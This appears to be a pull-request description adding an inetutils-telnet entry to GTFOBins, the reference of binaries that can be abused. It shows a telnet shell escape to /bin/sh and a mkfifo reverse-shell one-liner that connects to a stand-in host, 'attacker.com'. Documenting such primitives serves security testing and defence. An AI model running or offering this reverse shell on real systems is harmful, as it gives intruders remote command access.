Inetutils telnet

[alirezakahknezhad]

Add inetutils-telnet shell and reverse-shell capabilities

This pull request adds a new GTFOBins entry for inetutils-telnet.

inetutils-telnet provides multiple abuse primitives that can be used for command execution and remote shell access.

Shell

The telnet client supports command execution through its escape command feature:

inetutils-telnet
!/bin/sh

```bash
mkfifo /path/to/temp-socket
inetutils-telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket